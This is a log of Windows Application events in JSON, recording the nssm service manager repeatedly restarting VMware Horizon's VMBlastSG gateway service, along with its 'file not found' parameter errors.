{"@timestamp":1646832728726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166908}}
{"@timestamp":1646832728727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166909}}
{"@timestamp":1646832728727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166910}}
{"@timestamp":1646832728728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166911}}
{"@timestamp":1646832857254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166912}}
{"@timestamp":1646832857256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166913}}
{"@timestamp":1646832857257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163912","0"]}}},"module":"Application","provider":"nssm","sequence":166914}}
{"@timestamp":1646832857257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163912","163912","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166915}}
{"@timestamp":1646832857274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166916}}
{"@timestamp":1646832857275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166917}}
{"@timestamp":1646832857275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166918}}
{"@timestamp":1646832857276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166919}}
{"@timestamp":1646832985751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166920}}
{"@timestamp":1646832985751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166921}}
{"@timestamp":1646832985752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162648","0"]}}},"module":"Application","provider":"nssm","sequence":166922}}
{"@timestamp":1646832985753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162648","162648","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166923}}
{"@timestamp":1646832985770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166924}}
{"@timestamp":1646832985771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166925}}
{"@timestamp":1646832985772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166926}}
{"@timestamp":1646832985773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166927}}
{"@timestamp":1646833114232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166928}}
{"@timestamp":1646833114234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166929}}
{"@timestamp":1646833114235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164724","0"]}}},"module":"Application","provider":"nssm","sequence":166930}}
{"@timestamp":1646833114236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164724","164724","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166931}}
{"@timestamp":1646833114252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166932}}
{"@timestamp":1646833114253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166933}}
{"@timestamp":1646833114253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166934}}
{"@timestamp":1646833114254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166935}}
{"@timestamp":1646833242779,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166936}}
{"@timestamp":1646833242779,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166937}}
{"@timestamp":1646833242780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162484","0"]}}},"module":"Application","provider":"nssm","sequence":166938}}
{"@timestamp":1646833242781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162484","162484","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166939}}
{"@timestamp":1646833242798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161344","0"]}}},"module":"Application","provider":"nssm","sequence":166940}}
{"@timestamp":1646833242799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161344","162484","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166941}}
{"@timestamp":1646833242816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166942}}
{"@timestamp":1646833242816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166943}}
{"@timestamp":1646833242817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166944}}
{"@timestamp":1646833242818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166945}}
{"@timestamp":1646833371522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166946}}
{"@timestamp":1646833371523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166947}}
{"@timestamp":1646833371523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164684","0"]}}},"module":"Application","provider":"nssm","sequence":166948}}
{"@timestamp":1646833371523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164684","164684","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166949}}
{"@timestamp":1646833371540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166950}}
{"@timestamp":1646833371540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166951}}
{"@timestamp":1646833371541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166952}}
{"@timestamp":1646833371542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166953}}
{"@timestamp":1646833500111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166954}}
{"@timestamp":1646833500112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166955}}
{"@timestamp":1646833500113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164404","0"]}}},"module":"Application","provider":"nssm","sequence":166956}}
{"@timestamp":1646833500114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164404","164404","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166957}}
{"@timestamp":1646833500134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164328","0"]}}},"module":"Application","provider":"nssm","sequence":166958}}
{"@timestamp":1646833500135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164328","164404","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166959}}
{"@timestamp":1646833500184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166960}}
{"@timestamp":1646833500184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166961}}
{"@timestamp":1646833500185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166962}}
{"@timestamp":1646833500186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166963}}
{"@timestamp":1646833628681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166964}}
{"@timestamp":1646833628682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166965}}
{"@timestamp":1646833628682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162128","0"]}}},"module":"Application","provider":"nssm","sequence":166966}}
{"@timestamp":1646833628683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162128","162128","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166967}}
{"@timestamp":1646833628700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166968}}
{"@timestamp":1646833628701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166969}}
{"@timestamp":1646833628701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166970}}
{"@timestamp":1646833628702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166971}}
{"@timestamp":1646833757183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166972}}
{"@timestamp":1646833757184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166973}}
{"@timestamp":1646833757184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164064","0"]}}},"module":"Application","provider":"nssm","sequence":166974}}
{"@timestamp":1646833757185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164064","164064","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166975}}
{"@timestamp":1646833757202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166976}}
{"@timestamp":1646833757202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166977}}
{"@timestamp":1646833757203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166978}}
{"@timestamp":1646833757204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166979}}
{"@timestamp":1646833885691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166980}}
{"@timestamp":1646833885692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166981}}
{"@timestamp":1646833885693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163108","0"]}}},"module":"Application","provider":"nssm","sequence":166982}}
{"@timestamp":1646833885693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163108","163108","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166983}}
{"@timestamp":1646833885710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166984}}
{"@timestamp":1646833885710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166985}}
{"@timestamp":1646833885711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166986}}
{"@timestamp":1646833885713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166987}}
{"@timestamp":1646834014191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166988}}
{"@timestamp":1646834014191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166989}}
{"@timestamp":1646834014192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160188","0"]}}},"module":"Application","provider":"nssm","sequence":166990}}
{"@timestamp":1646834014192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160188","160188","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166991}}
{"@timestamp":1646834014209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166992}}
{"@timestamp":1646834014210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166993}}
{"@timestamp":1646834014210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166994}}
{"@timestamp":1646834014211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166995}}
{"@timestamp":1646834142717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166996}}
{"@timestamp":1646834142717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166997}}
{"@timestamp":1646834142718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164536","0"]}}},"module":"Application","provider":"nssm","sequence":166998}}
{"@timestamp":1646834142719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164536","164536","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166999}}
{"@timestamp":1646834142735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167000}}
{"@timestamp":1646834142736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167001}}
{"@timestamp":1646834142736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167002}}
{"@timestamp":1646834142737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167003}}
{"@timestamp":1646834272263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167004}}
{"@timestamp":1646834272381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167005}}
{"@timestamp":1646834272382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162972","0"]}}},"module":"Application","provider":"nssm","sequence":167006}}
{"@timestamp":1646834272382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162972","162972","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167007}}
{"@timestamp":1646834272402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167008}}
{"@timestamp":1646834272402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167009}}
{"@timestamp":1646834272403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167010}}
{"@timestamp":1646834272892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167011}}
{"@timestamp":1646834272893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167012}}
{"@timestamp":1646834272895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164144","0"]}}},"module":"Application","provider":"nssm","sequence":167013}}
